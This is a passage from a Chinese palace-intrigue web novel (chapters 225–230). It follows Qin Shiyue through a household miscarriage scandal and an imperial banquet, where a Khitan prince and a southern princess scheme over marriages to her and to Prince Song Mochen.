长乐侯看着她,眼神中满是怀疑,“哼,最好如此!记住,渊儿是嫡子,而且你如今有了身孕,本侯希望你能安分守己,若是再让本侯发现你有什么不轨之心,就别怪本侯无情!” 五姨娘连忙点头,“侯爷放心,妾身一定好好养胎,绝不给侯爷惹事。” 第225章 耶律良才的谋算 从书房出来,五姨娘的脸色瞬间变得阴沉可怕。 她轻抚着小腹,心中恨意翻涌,“芳娘、秦时月,你们给我等着!等我生下儿子,看我怎么收拾你们!” 半月后。 这段时间秦时月过的消停,但高悬的心却始终没有放下来过。 耶律良才自爆身份后,再也没有出现在她的面前,但京中各处却多了一些他的传言。 想来,是他刻意派人宣扬出来的,为的嘛,自然是提醒宋墨辰和秦时月,注意他的身份。 想到这些,她就有些头疼。 “小姐,您怎么了?是不是昨夜没睡好?”小荷见她眉头轻蹙,又捏了捏眉心,忍不住关心道。 秦时月摆摆手,“无妨,只是想起一些烦心事。” 她靠在椅背上,看向窗外的眼神带着一丝忧虑。 明日便是四国使者朝贺的重要日子,皇上在皇宫举行晚宴,她就在其中,只是,弄不清这耶律良才到底想干什么,她有点不安。 秦时月坐直身子,眼中闪过一丝决然,“影一!” “小姐。” 这段时间宋墨辰一直在为四国朝贺的事奔波,秦时月担心他那边出事,所以让影夜、影风都跟在他身边,自己身边便留了其他人,影一便是其中一个。 “你去打听一下,最近京中各官员家中可有什么异常之事。” 影一应了一声,迅速退了出去。 对方身份特殊,稍有不慎,便可能引发两国争端,她必须要做到知己知彼! 晌午时,影一回来了,神色有些凝重,“小姐,打听到了。近日京中不少达官贵人府上都被送上了娇姬美妾,而且送人者行事高调,都是契丹六皇子,耶律良才。” 秦时月心中一凛,猛地升起一个念头:耶律良才在暗中布局! 这些娇姬美妾不用猜也知道,必然是他的棋子。 可让她疑惑的是,那些浸淫朝堂多年的大臣们,如今大部分都被宋墨辰收入了帐中,而且,他们未必就猜不到这点,可他们,为什么还要收呢? “走吧,看来,有必要去王府一趟了。”秦时月站起身来,眸中带笑。 不管宋墨辰那边有没有收到消息,她总该过去一趟,毕竟,她可不想明日的宴会上,她被人牵着鼻子走! 秦时月带着小荷直奔王府。 王府管家见是秦时月,立刻笑脸相迎,“王妃,您来了,王爷正在书房呢。” 交代完,他立刻给一旁的丫鬟使了个眼色,丫鬟立刻退下准备茶水去了。 秦时月点点头,径直朝书房走去。 一推开门,她便看到宋墨辰正伏案批阅一堆文书,浓眉微微皱着,像是有什么烦心事。 听到动静抬头,看到是她,眼底这才多了一丝亮色,“月月,你怎么来了?” 她知道他这段时间一直为朝贺的事烦心,所以也不废话,直接将耶律良才给京中官员送娇姬美妾的事说了一遍,然后道:“宋墨辰,此事恐怕不简单。” 下人送过茶,宋墨辰一边合上文书,一边道:“这些事我知道,是我允他们收的。耶律良才手段高超,为人狡诈,若是不收,只怕会引起他的警觉。” “原来是这样。”秦时月秀眉微蹙,“明日便是晚宴,我担心耶律良才会有所动作,你可想好了应对之策?” 宋墨辰绕出来走到她面前,伸手握住了她的手,安抚道:“放心。以防万一,我已经安排了不少暗卫在晚宴现场,加上皇上身边的禁卫军,安全不成问题。” “这点我并不担心,如今在靖垣,他就是手段通天,想必也成不了什么大气。”秦时月笑道。 她唯一担心的是,耶律良才想走长线,想利用那些娇姬美妾做暗中打探消息的探子。 如果不能尽快清除干净,只怕以后会闹出不少事。 宋墨辰似乎看穿了她的心思,轻声道:“放心吧,我已经安排人手暗中监视那些大臣和娇姬美妾的一举一动,一旦发现他们有异常行为,立刻就会采取行动。” 此时时机不对,他不愿在这个节骨眼上动手。 “那就好,只是人心难测,难保那些大臣不会被她们蛊惑,不经意间泄露了重要机密……” 宋墨辰轻轻捏了捏她的手,“不怕,除了我的心腹,他们知道的内幕并不多,况且,他们的府邸里,也有咱们的眼线。” 他和秦时月一样,从不会将自己的性命交付到他人手中,更何况,他要走的路太难,一朝踏错便是万劫不复,为了秦时月,他绝不会掉以轻心! 两人说着,秦时月的肚子突然“咕噜”一声,宋墨辰愣了一下,眉头立刻皱了起来。 “你还没用膳?” 这小迷糊,怎么饿着肚子就来了?也不说一声。 “来人,备膳!” 正好他忙的忘了时间,也没吃东西,正好可以一起吃。 饭桌上,俩人又聊了一些四国朝贺的细节,见没什么遗漏,这才安心。 用过膳,秦时月坚持自己回府,宋墨辰还有许多文书没看完,便没坚持,而是让侍书去送人。 秦时月半路去了明月芳华一趟。 她亲自挑选了几套精美华贵的头面和几匹上好的、最时兴的绸缎,这才回府。 “小姐,我看您方才挑了不少首饰,这些是要献给娘娘的吗?” 府内首饰不少,小荷能想到的,也就这一点了。 不过,小姐这次选的首饰有一套似乎有些俏丽,若是献给宫内的娘娘们,怕是有些不妥…… “非也。”秦时月闭目笑道:“听闻此次朝贺的使者中有一位南国郡主,有一套是送她的。” 小荷眨了眨眼睛,好奇地问道:“小姐,您为何要送南国郡主礼物呀?” 两国交往并不多,更何况小姐一个未出阁的贵女,跟南国人更是无甚往来,送她礼物……小荷有点想不明白。 秦时月睁开眼睛,眸中闪过一道深意,“听说这位南国郡主在很是受宠,且聪慧过人,与她交好并无坏处。最重要的是,南国地大物博,你家小姐,也很想去分一杯羹呀。” 第226章 五姨娘小产 前段时间她已经差人去南国考察了,若是没有意外,等四国朝贺事了,她的明月芳华,就会在南国地界上扎根。 若能结交南阳郡主,也算给自己的店铺找一份保障。 回到府中,秦时月便开始精心准备给南国郡主的礼物,她亲自在库房里找了精致适配的金丝檀木礼盒,然后将头面和绸缎包了进去。 忙完这一切,她又让小荷寻了几个高档锦盒,将其他头面包装好,这才让小荷和小青备水,打算早点洗漱完毕早点睡觉。 谁知她刚躺下,门外就传来了一阵阵喧闹声,“大小姐,您快出来看看吧!大少爷冲撞了五姨娘,五姨娘……小产了!” “大少爷?他不是被关在柴房吗?怎么跑出来了?”小荷眨巴一下眼睛脑子,有些转不过弯。 秦时月勾着唇坐起,让她为自己换衣。 怎么跑出来的?怕不是芳姨娘做的。 她能忍半个月,已经挺不容易的了。 “大小姐!您听到了吗?侯爷和夫人已经……” “别喊了,我家小姐正在换衣服,马上过去!”小荷皱皱眉,朝外喊道。 秦时月换好衣服,不紧不慢地走了出去。 刚到正厅,就看到芳姨娘正做作的抹眼泪,“侯爷,您可要为五妹妹做主啊,五妹妹这一胎可是咱们阖府的心头肉,如今却被大少爷冲撞得小产了,这……这可如何是好啊?” 长乐侯脸色铁青,怒喝道:“来人!把那个逆子给本侯带过来!” 不一会儿,浑身肮脏,身上长满浓疮的秦怀瑾被押了过来。 他浑浑噩噩的,脑袋不断轻颤,但眼睛却始终没有焦距。 看到这一幕,长乐侯也忘了起先的目的,眉头忍不住紧紧皱起。 这,这还是他那个芝兰玉树的,曾经被当做未来世子教养的大儿子? “芳娘,这是怎么回事?”长乐侯强压着怒气,忍不住朝芳姨娘问道。 他不记得自己叮嘱过,让他自生自灭的。 秦怀瑾眼神空洞,听到长乐侯的话,身体猛地颤抖起来,一副惊恐不安的样子。 芳姨娘见状,眼底闪过一丝心虚,“妾身也不知道这是怎么回事,妾身明明让人好好照顾着大少爷,这……” 好好照料? 自从秦怀瑾被关起来,秦时月就下了死命令,一日一餐,一水,其他的,任由他自生自灭。 虽然芳姨娘不知秦时月为何对她的同胞大哥如此狠心,但秦时月的话,她不敢违抗。 只是,这件事她断不能承认,更不能将秦时月供出来。 不仅因为她害怕秦时月,更因为,秦时月曾多次救了她和孩子们的命。 在这冷情的侯府,只有秦时月待她有几分真心,所以,她愿意为秦时月保守一些无伤大雅的秘密。 “罢了,现在要紧的是小五。逆子,你今日是怎么出来的?又是怎么冲撞的五姨娘?还不快快招来!”长乐侯猛拍一下扶手,脸色铁青。 比起这个已经废掉的儿子,他更看中的是侯府的其他血脉。 秦时月进屋后随便坐下,冷眼旁观着这一幕。 这五姨娘小产,看似意外,实则处处透着蹊跷。 渊儿中毒一事,芳姨娘势必对五姨娘恨之入骨,如今五姨娘小产,她看似悲痛欲绝,可眼底却隐隐有一丝不易察觉的快意。 况且,如今的秦怀瑾形同废人,根本不可能自己逃出来,更别说那样巧合的撞到五姨娘了。 “父亲,看兄长的情况,怕是也回答不出什么。”看着秦怀瑾被吓的缩成一团,不断哆嗦的样子,秦时月主动提议,“五姨娘情况不明,不如先找个稳婆来,看看五姨娘肚子里的孩子还能不能保得住。” 长乐侯听了,觉得有理,立刻吩咐下人去请稳婆。 不多时,稳婆来了,在里屋检查了一番后,出来回禀,“侯爷,五姨娘这胎……保不住了,老身已经帮五姨娘清理干净了。” “可知是什么原因?”秦时月扫了眼松口气的芳姨娘,问道。 “回大小姐,老奴刚才和大夫交流过,五姨娘这胎本就不稳,似乎是之前忧思过度,再加上今日的冲撞摔倒,这才小产。” 众人听了,皆是一愣。 忧思过度?长乐侯的目光瞬间射向里屋,眼中满是狐疑。 五姨娘的贴身丫鬟候在那,感受到那如芒在背的目光,身子忍不住颤了颤。 这段时间五姨娘确实忧思过度,她怕夫人察觉到小少爷前段日子中毒的事与她有关,所以整日提心吊胆的。 长乐侯心里有数,冷哼一声。 五姨娘刚经历小产,身子虚弱,所以他没有当场发作。 随即,他像是想到什么,冷冷扫向芳姨娘,眼底带着骇人的冷意。 “侯爷,不是妾身……”芳姨娘心中一惊,面色已然白了几个度。 “最好不是!行了,你好好照看你家主子,让她好好养着,本侯稍后再来看她。”长乐侯看着五姨娘的丫鬟摆了摆手,起身就走。 “侯爷,那,那大少爷如何处置?”芳姨娘适时开口,眼底带着一丝试探。 长乐侯冷眼瞪了芳姨娘一眼,眼带警告,“收起你的小心思!” 随后,又看向秦怀瑾,眼中满是厌恶与失望,“把他送回他自己的院子严加看管,若再出什么事,本侯拿你们是问!” 送回自己的院子? 秦时月挑挑眉,手指不自觉的轻扣扶手。 到底是虎毒不食子,只是见了一面,他就对秦怀瑾生了心疼之心,还真是父子情深啊。 可也正因为这样,才让她想起了前世,她在柴房里苦苦哀求长乐侯救她,放她出去时,被他痛打到吐血的那幕。 呵,好好好,你想做慈父?那我便成全你,希望,你不要后悔! 秦时月本想放长乐侯一马的,毕竟,这偌大侯府,也该有个男主人坐镇,但现在嘛……她觉得,还是她亲自坐镇,更合适! 下人立刻上前,架着秦怀瑾往外走去。 秦怀瑾嘴角流涎,不停嘟囔着一些听不清的话语,被人拖死狗一样拖了出去。 第227章 耶律良才的计划 第二日傍晚,天色渐暗,秦时月精心打扮后,带着小荷乘坐马车前往皇宫,马车旁,是代表长乐侯府出席的秦明远,秦世子。 一路上,她透过车窗看着外面热闹的街景,心里却莫名不安。 马车停在宫门外,秦时月下车整理了一下衣衫,仪态端庄地进了宫门,正要往举办宴会的正殿走,身边经过的小宫人,突然往她的手里塞了一个纸条。 她眉头微拧,攥紧纸条,朝秦明远道:“明远,姐姐有些不适,你先进去,姐姐一会进去。” “长姐怎么了?需要叫御医过来看看吗?”秦明远一脸紧张。 进侯府后,秦时月对他和母亲的维护他都实打实的看在眼里,加上前段时间她又多次救了母亲和渊儿,他对她,格外敬爱。 “傻瓜,姐姐就是大夫。”秦时月嘴角带笑。 她心里清楚,稚子心性纯善,他这是将自己看做了他的至亲之人,所以才会急中出错。 秦明远这才放心,“那我先进去,长姐进去后便来寻我。” “好。” 秦时月笑看着他离开,待他身影走远,她的眼神才沉了下来。 “小荷,走吧。” 她今日还没见过宋墨辰,而她已经身在宫中,却还有人传纸条,除了宋墨辰,她想不到还有什么人。 两人走到一处偏僻的宫墙角落,秦时月展开纸条,只见上面写着:“耶律良才早朝上请求赐婚,他的目标是你。今夜恐有变动,多加小心!” 字体乃是宋墨辰那熟悉的字迹,她看完后,眼神一沉,将纸条撕成了齑粉。 好啊,她千防万防,没想到耶律良才打的竟然是这个主意! 不过,不知道皇帝的决定是什么,是不顾天下议论,将她这个未来辰王妃赏做联姻对象,还是,给耶律良才重新换个联姻对象? 很显然,第一种可能性很高,毕竟,皇帝忌惮宋墨辰,如今自己在民间的威望也越来越高,他是最不想看到他们成婚的人,否则,当初也不会在朝堂上回绝宋墨辰请婚的圣旨。 想到这,她眼神一冷,思绪翻飞。 “小姐?” “没什么,走吧,去大殿。” 秦时月收起心思,调整好情绪,抬脚往大殿的方向走去。 她今日穿了一身浅碧色的云锦宫装,裙摆绣着精致的流云纹,行走间仿若流云飘动,衬得她身姿愈发婀娜。 头上的珠翠步摇更是随着她的步伐轻轻晃动,发出清脆悦耳的声响,更添几分灵动与优雅。 她才踏入大殿,就被殿内灯火辉煌,丝竹之声震惊了一下。 如今的她,出入皇宫如入无人之境,可这还是她头一次参加如此隆重的宴会。 前世,她被困于后院,进宫的机会不多,便是宫内娘娘们举办的宴会她都没机会参加,这一世,她受到了前所未有的尊重,可这样规模的宴会,还是头一次。 宴会上,朝中大臣及家眷还有各国使者,已经到了不少。 众人衣着华丽,谈笑风生。 秦时月的目光在人群中快速扫过,一眼便看到了站在主位旁的宋墨辰。 他今日身着一袭玄色蟒袍,衬得他身姿挺拔,气质冷峻,在人群中显得格外出众。 自她进来起,他的目光就没有从她身上挪开过,两人视线短暂交汇,眼中分别透着明显的关切与担忧。 秦时月微微点头示意,随后不动声色地找到秦明远,然后在他身边坐下。 “长姐,好些了吗?” “嗯,好多了,今日宴会的主角是四国使臣,一会儿无论发生什么事,切记低调行事,不要太过引人注目。” 这样的场合,秦明远也是头一遭参加,秦时月到底有过一些经验,不得不提醒。 “是,明远都听长姐的。”秦明远点头应下。 他的乖顺让秦时月很是欣慰。 先不说他的言行是不是装出来的,总归他这样省心的样子,让她感受到了尊重。 还有他一声一句长姐,倒让她感受到了两世都不曾感受过的亲情。 “秦小姐。” 秦时月还在想着,一会儿若真出事,她定要护住秦明远的时候,耳边突然传来一道温润男声。 她眉头微拧,袖口下的拳头不由自主的攥了起来。 好啊,她没找他,他倒是找上门了! 她在心里冷哼一声回头,皮笑肉不笑的打招呼,“我该叫你耶律良才,还是六皇子?” 狗东西,胆敢觊觎本小姐,简直找死! “你我之间何至于如此生分?”耶律良才面色温润,仿佛听不出她话中的敌意,他微微扇动扇子,勾起一抹恰到好处的微笑,“秦小姐叫我本名就好。” 秦时月挑眉。 这是……想自讨没趣!? “六皇子说笑了,明月不敢。” 周围的人看到两人谈笑风生,纷纷投来好奇的目光。 耶律良才面色不变,眼底却闪过一丝阴霾。 面对宋墨辰,她就唤自己时月,面对他,她就唤自己明月。 一个闺名,一个封号。 呵,她还真是好的很! 耶律良才深吸口气往前逼近一步,弯腰凑到她耳边,压低声音道:“时月何必如此敌意?良才对时月倾慕已久,今早,已经将希望能与时月结百年之好的想法诉诸靖垣王朝陛下。你说,他身为一国之君,会不会成人之美?” 两人的行为在外人眼中格外暧昧,尤其从一侧看,耶律良才的脸已经和秦时月的脸贴到了一起。 赵景阳见状,眼前一亮,立刻来到了宋墨辰身侧,“时月姐姐当真天仙一般,走到哪都会吸引这样优秀的男子。” 她嘴上说着羡慕,眼底却透着几分算计。 辰王哥哥,看吧,秦时月就是个人尽可夫的婊子,根本配不上你! 宋墨辰眼神微闪,转头朝皇帝拱了拱手,“父皇,儿臣去去就回。” 皇帝扫了眼秦时月那边的动静,眼底闪过一丝笑意,“去吧,代朕招待好契丹六皇子。” 看来,用不着他出手,宋墨辰和秦时月也走不到一起。 另一头,秦时月一脸疑问。 倾慕?这狗东西根本就是心怀不轨! 第228章 算计?找死! 秦时月笑的温柔小意,却带着几分疏离,“六皇子此话,明月不明白。我与辰王已经婚配,婚事乃陛下亲赐,如今圣旨还在家中供养,不知你所谓的请求赐婚,是什么意思?莫不是,想要明月一女侍二夫?被人千夫指!?” “秦小姐误会了,良才一片真心,还望小姐能给良才一个机会。”秦时月最后的声音有些尖锐,耶律良才眉头一皱,退后半步,道。 但他的眼神中却闪过一丝不易察觉的狠厉。 一女侍二夫?绝不可能!秦时月,只能是他一个人的! 这时,秦明远察觉到气氛不对,起身挡在秦时月身前,警惕地看着耶律良才道:“六皇子,请你自重,我长姐已有婚约在身,还望你莫要再纠缠。” 耶律良才目光从秦明远身上扫过,冷笑一声,“长乐侯府的世子?此事乃我与秦小姐之间的事,还请世子管好自己的事,不要乱插手。” 据他所知,这秦明远和秦时月并非同胞姐弟,而是同父异母所出的同姓兄弟,既如此,秦时月对他,应该没有太多感情。 “我长姐的事便是我的事,轮不到你一个外邦人在此地放肆!”秦明远毫不退缩,甚至霸气的往前一步,看样子,势要护着秦时月。 秦时月心头一暖,抬手拉住了他,朝他摇摇头,示意他不要逞强。 暗卫调查到的消息,这耶律良才为人狠辣无情,手段阴毒,秦明远只是个未经世事的少年,若真与他起了冲突,吃亏的只会是秦明远…… “明远,莫要冲动,六皇子只是在与长姐玩笑。” 她安抚地拍了拍秦明远的手,随后抬头看向耶律良才,正要说话,身后突然传来宋墨辰的声音。 “秦世子说的好,靖垣境地,还轮不到一个外邦人放肆。”宋墨辰嘴角带笑,似乎对秦明远的表现很是满意。 这孩子,倒是不枉费月月帮他们母子一场。 耶律良才眼神一滞,嘴角斜斜勾起,凭白多了一丝邪魅,“辰王说笑了,小王不敢放肆,小王只是在与小王的心仪之人谈论日后的婚嫁,莫不是,两国联姻的事,辰王可以替你们的陛下做主?” 此话一出,现场气氛顿时将至冰点。 宋墨辰身上杀气外泄,周围一圈的人突然觉得背后寒津津的,有胆小的,已经退避三舍。 秦时月此时也很想杀了耶律良才泄愤,但她还是强压下怒气,伸手按住了宋墨辰的大手。 今天,不行。 看到她的小动作,耶律良才眸光微闪,嘴角原本得意的笑容有些僵硬。 就在气氛紧张压抑的让人喘不上气的时候,赵景阳突然走过来,笑着打破了僵局,“今日乃四国朝贺之喜,为了一个婚约……伤了和气可不太好。依我看,不如大家以文会友,谁赢了,谁便赢得了明月县主的优先选择权,如何?” 赵景阳半低下头,眼里闪过一抹算计。 有皇帝表兄在,秦时月她不敢拒绝! 众人听了,纷纷觉得此计甚好,既能避免当场冲突,又能彰显大国风范。 皇帝思索片刻,点头道:“准了。时月,你以为如何?” “不如何。”秦时月心中冷笑, 赵景阳看似在帮她解围,实则是将她比作了可以用输赢来交易的货物。 若今日这事成了,即便宋墨辰赢了,传出去,她也不过是个物件儿,能好听到哪去? 想到这,秦时月抬眸,看向皇帝,不卑不亢道:“陛下,明月以为,婚姻大事,本就是父母之命媒妁之言,更遑论陛下亲自赐下赐婚圣旨,无论以何种方式,都不该重定婚嫁,必定,皇命不可收回。否则,不仅会遭到天下人的耻笑,更有损我靖垣王朝的威严。” 皇帝面色阴沉,眼中闪过一丝不悦,声音都多了一丝威胁。 “时月说的是,只是,这契丹六皇子钟情于你,你若能与之交好,也算是为两国邦交尽了一份力,你也不想看到两国战乱不断吧!?” “陛下所言极是。”耶律良才立刻接话,眼中带笑,“小王对秦小姐的心意天地可鉴,小王的父王承诺,只要陛下成全,契丹愿世代以附属国自居,年年上贡。” 宋墨辰握紧拳头,冷冷看向耶律良才,“这婚约乃是父皇亲赐,如今怎能因为他的一句话就随意更改?况且,契丹人狡诈,空口白牙的事做了不少,儿臣恳请父皇三思!” 他竟然真的敢动让月月交换的念头,该死! 皇帝面上不显,目光却在几人之间来回扫视,心中暗自权衡。 如今宋墨辰一家独大,又手握百万雄师,若是起了反叛之心,自己毫无反抗之力。 若秦时月嫁给耶律良才,不仅能打压宋墨辰,铲除他的一部分势力,又能借此与契丹交好…… 怎么看,这个都是不错的选择。 可若处理不当,引发朝中大臣不满是其次,若是激怒了宋墨辰……后果不堪设想。 就在他摇摆不定之际,门口处突然响起一道公鸭嗓,“皇后娘娘驾到~贵妃娘娘驾到~” 皇帝暗自松口气,故作镇定的端坐在上方。 皇后和贵妃一进门,宋墨辰、秦时月在内的众大臣,各国使臣,纷纷跪地请安。 秦时月起身后,并没有再纠结刚才的问题。 这件事,并不是目前的自己能左右的,至于将来如何,下来后她再找宋墨辰商议。 大不了他们自此常驻边关,浪迹天涯,再也不回来。 皇后坐稳后,目光巡视一遍,最后落在了一身劲装的南国郡主身上。 嗯,倒是个标志的美人…… 注意到她的视线,南国郡主垂下眸,羞涩一笑,再抬眸,目光已经落在了宋墨辰的俊脸上。 她此次来,也有一个目的,那就是,嫁给宋墨辰为妻。 先前的纠葛他或许早已经忘了,可她……终生难忘。 “人已到齐,开宴!” 江福德甩一下拂尘,高喊道。 珍馐美酒一一上齐,所有人开怀畅饮。 不多时,南国郡主起身出列,朝着皇帝皇后做了个南国拜礼。 第229章 南国郡主的心思 “陛下,皇后娘娘,听闻靖垣王朝人才济济,琴棋书画样样精通,今日难得四国齐聚,玲珑不才,愿弹奏一曲助兴,还望陛下与娘娘莫要嫌弃。” 南国郡主祝玲珑声音清脆,犹如黄莺出谷,只是话音才落,那双含情的眸子就瞄向了一旁的宋墨辰。 皇帝微微点头,笑道:“郡主客气了,难得郡主有此雅兴,朕自然乐意欣赏。” 皇后也笑着附和,“听闻南国郡主琴艺高超,今日本宫可算有耳福了。” 江福德一抬手,立刻有宫女搬来一张古琴,置于大殿中央。 南国郡主莲步轻移,优雅地坐在琴前,轻轻抬手,指尖在琴弦上拨弄起来。 顿时,悠扬的琴音在大殿内回荡开来,音浪时而如高山流水,时而如细雨润物,众人都沉浸在这美妙的琴音之中,底下的议论声不断。 “没想到这南国郡主也能弹奏出如此绝妙的音律,真是让人刮目相看啊。” “说的是,听闻这位郡主十六岁便随父兄出征,在战场上也是叫得上名号的,没想到,也有这温柔小意的样子。” “对对,我没记错的话,前年辰王出征,场上遇到的便是这位郡主吧?听闻那一战死伤无数,辰王偏偏没有对这位郡主下死手……” 秦时月听着这些议论声,面色不变,但是看向祝玲珑的眼神暗了暗。 这位郡主的琴艺确实精湛,只是,这郡主此举对宋墨辰……怕是存了别的心思。 她先前是不介意和人共侍一夫的,可不知为何,如今看到祝玲珑含情脉脉的眼神,听到众人的谈论,她的心,就会莫名抽痛。 她深吸口气,努力平复心情,然后端起酒杯仰头喝净。 就在秦时月要喝第二杯的时候,她素白的手腕突然被人握住。 她面色一冷,几乎是下意识抽手。 望着空空如也的手心,耶律良才的心,似乎也空了一下。 “放肆!”秦时月压低声音,但语气里的警告之意一点都不少。 她没想到他会这么大胆,竟敢在这样的宴会上对她动手动脚! “抱歉,我只是担心你这样喝会伤身子。”耶律良才斜勾着唇,眼角眉梢带笑,然后,在秦时月错愕的目光下,掀开长袍坐在了她右侧,“你若是不开心,我陪你喝就是。” 他扫了眼祝玲珑,又侧眸看了眼脸色难看的宋墨辰,眸光闪烁。 祝玲珑确实是难得的美人、妙人,希望,她能牢牢抓住宋墨辰的心! 耶律良才是四国使臣之一,秦时月就是再不喜欢他的行为,也没有当场闹起来,只是重重放下酒杯,不再理他。 不多时,一曲终了,众人纷纷鼓掌叫好。 祝玲珑起身盈盈下拜,道:“玲珑献丑了。” 皇帝笑着赞道:“郡主琴艺名不虚传,若是生在靖垣,必定是靖垣才女之首。” 祝玲珑脸色一红,微微抬头,目光却再次落在了宋墨辰的身上,“陛下谬赞,玲珑听闻辰王殿下不仅武艺高强,对琴艺也颇有见解,不知可否请辰王殿下指点一二?” 她眼神缱绻,自有一股风情。 秦时月攥紧手中的酒杯,心,狠狠痛了一下。 她不是不信宋墨辰,只是,祝玲珑身份贵重,宋墨辰怕是……无法拒绝皇帝的命令。 宋墨辰心中冷笑,起身举着酒杯,“郡主说笑了,本王只懂剑术,却是不通琴艺,本王可不敢妄加指点。这杯,敬郡主。” 方才月月喝了不少酒,也不知此时怎么样了。 还有耶律良才那个混账东西,竟然趁他无法分身之际,胆大妄为的摸了月月的手腕,还不要脸的坐到了月月身边! 简直找死! 南国郡主眼中闪过一丝失落,但她很快收拾好表情,道:“辰王殿下过谦了,玲珑对剑术也略知一二,若是有机会,想找辰王殿下讨教一二。” 她毫不掩饰对他的倾慕,那眼神……就差直接扑上去了。 这时,赵景阳突然开口,“南阳郡主的琴声悠远婉转,当真是绝技,不过,我靖垣王朝的舞艺也是一绝,据本郡主所知,明月县主的舞蹈在整个京中无人能及,明月县主,不如你也为大家献舞一曲,让大家开开眼?” 赵景阳的嘴角挂着一抹浅笑,眼底却藏着一抹不怀好意。 她就是想让秦时月在众人面前出丑,在她看来,上次诗会秦时月能出尽风头,不过是正巧撞在了她会的东西上。 而舞蹈……那是需要长年累月的练习,名师指导,才能有的成就,秦时月一定做不到。 到时候,她就会成为整个京城的笑柄! 秦时月刚才酒灌的有些猛,此时酒意上头,竟觉得有些飘飘然。 她站起身,心中冷笑。 赵景阳这是见不得她好过,想设套,故意刁难她,让她丢尽颜面。 可她又怎知,她秦时月,不会跳舞? 宋墨辰眉心一拧,攥着酒杯的手不自觉收紧,“时月她……” “本皇子也很想见识一下明月的舞艺,恰好,本皇子对笛子有点研究,不如,由本皇子为明月伴奏?” 耶律良才一开口,直接打断了宋墨辰未开口的话,也引得皇帝龙心大悦。 “哈哈……好好好,朕今日有福,来人,为耶律皇子献上笛子!” “开弓没有回头箭,秦时月,你可莫要让我失望啊!”赵景阳眼神狠戾的看着秦时月,眼底是深深的嫉妒。 靖垣最尊贵的王爷,契丹的六皇子,契丹王最喜爱的小儿子,他们竟然同时开口,还都是为了秦时月那个贱人! 呵,秦时月,你很得意吧?不过没关系,你很快就会当众出丑,让所有人看清你恶心的嘴脸! 秦时月眉眼弯弯,明明眼神不变,偏让众人感受到了一丝媚态。 她盈盈一拜,道:“臣女遵命。臣女这就去换衣服。” 小荷立刻抬手,扶着她往偏殿走去。 祝玲珑的视线一直在宋墨辰身上,看到他对秦时月上心,眼底闪过一丝冷意。 她不动声色的朝自己的婢女勾了勾手,然后在婢女耳边低语两声。 第230章 四角恋? 婢女立刻领命离开。 祝玲珑的嘴角勾起一抹邪恶的弧度,忍不住暗道:呵,一个人尽可夫的婊子,怎么能做未来的辰王妃? 战神宋墨辰,只能是她一人的! 秦时月在偏殿内换衣,小荷心急如焚,“小姐,您真的献舞吗?景阳郡主明显不怀好意,万一……” 秦时月神色镇定,一边由着她帮忙换衣服,一边揉着眉心说道:“放心,你家小姐既然应下了,自然有把握。” 小荷见状,知道多说无意,便不再说什么,而是专心的给她换衣服,换发髻。 可就在衣服换好,头发即将梳好之际,秦时月的脚边突然出现一条吐着芯子,模样可怖的小青蛇。 小荷被吓的花容失色,当即尖叫起来,“小姐!蛇!有蛇!” 秦时月身形不动,面不改色,素手一扬,一根泛着寒光的银针直直朝着那条青蛇的七寸射去。 那青蛇在地上扭动片刻,便彻底失去了性命。 “这……”小荷后怕不已,话不成句。 “不用怕,不过是有人想要你家小姐的命。”秦时月说着,嘴角带笑的起身,向外走去。 竹叶青,有剧毒。 那个辛苦找来它的人,还真是用心良苦! “影夜,一会儿将这条蛇,送到南阳郡主的羹汤里。” “是!” …… 与此同时,大殿中,耶律良才拿到笛子,拿在手中把玩着,眼睛却时不时看向偏殿的方向。 宋墨辰端着酒杯走近,凑到他耳边警告,“耶律良才,你要是想平安回到契丹,就给我收起你肮脏的心思!” 敢觊觎月月的,唯有一死! 耶律良才收回视线,骨节修长的手指漫不经心的摩挲着笛子,“辰王的话,我不赞成,在我看来,感情的事是最勉强不得的,我可以不请赐婚圣旨,但是,我不会放弃追求她。” 他的声音里透着几分深情。 但夹杂着算计的深情有几分,连他自己也说不清楚…… 气压有些低,就在这时,秦时月袅袅现身。 她身着一袭淡粉色纱衣,裙摆如云雾般轻盈,腰间一条丝带,行走间,随风飘动,更衬得她身姿曼妙,步履轻盈。 众人的目光瞬间被她吸引,原本还有些嘈杂的大殿顿时安静下来。 祝玲珑在看到她平安现身的那一刻,手中的裙摆差点没被揉烂。 该死,她怎么一点事都没有?那条竹叶青可是剧毒之物,怎么会…… 她还没想通其中关键,笛声已经缓缓响起。 耶律良才的笛声如急湍而下的瀑布,汹涌澎湃。 秦时月随着笛声翩翩起舞,舞姿轻盈优美,每一个旋转、每一次扬袖,却又带着无尽的力量,似乎将众人带入到了一个武侠世界中。 众人的目光都被她吸引,而赵景阳则瞪大了双眼,眼里全是难以置信。 她怎么也没想到,秦时月竟然真的会跳舞,还跳的这样好! 一旁的祝玲珑,心中的嫉妒之火更是熊熊燃烧,“贱人!不过是个会些狐媚手段的贱人,看你能得意到几时!” 她暗暗握紧拳头,咬紧了后槽牙。 只有宋墨辰,大手不断收紧,手中的金杯被他捏的变了形。 他深爱秦时月,看到她在大殿出彩,他比任何人都高兴、自豪。 可今日的出彩,她身边的却是耶律良才! 随着最后一个音符落下,秦时月停下舞步,盈盈下拜。 大殿内先是一阵短暂的沉默,紧接着爆发出如雷般的掌声。 皇帝的脸上也露出了赞许的神色,“时月,没想到你的舞艺如此精湛,朕真是大开眼界,赏!” 未来,秦时月或许要远嫁契丹,此时的恩赐,就当是看在契丹王的面子上了。 祝玲珑脸色阴鸷,免强挤出一丝笑容,道:“明月县主的舞艺确实高超,玲珑佩服。” 说完,她垂下眸,眼底满是不甘与狠辣。 皇帝哈哈一笑,正要一起赏赐,祝玲珑突然跪在了地上,“陛下,实不相瞒,玲珑此次随使团来靖垣,是因为心系一人,想嫁与他为妻,还望陛下成全,赐两国联姻之好。” “哦?不知郡主喜欢的是谁?朕这便给你二人赐婚!”皇上眸光微沉,不动声色的扫了一眼宋墨辰。 呵,自从南阳郡主和宋墨辰见面,她的心思就写在了脸上,他身为一国之主,又怎么可能看不出来? 之所以这样问,这样说,不过是宋墨辰先前的一句话,皇命,不可收回! 四国朝贺已有几年,可今年,是他最高兴的一次! 祝玲珑缓缓抬起头,眼神坚定地看向宋墨辰,一字一顿道:“陛下,玲珑心系之人,正是辰王殿下,宋墨辰!” 此言一出,大殿内瞬间一片哗然。 众人的目光纷纷在祝玲珑、宋墨辰、秦时月和耶律良才之间流转,窃窃私语之声接连响起。 他们怎么都没想到,有朝一日能看到一出四角恋。 这……其中两位还是有陛下赐婚的。 宋墨辰面色一凛,眼神已经沉了下来。 他才是最叫苦不迭的。 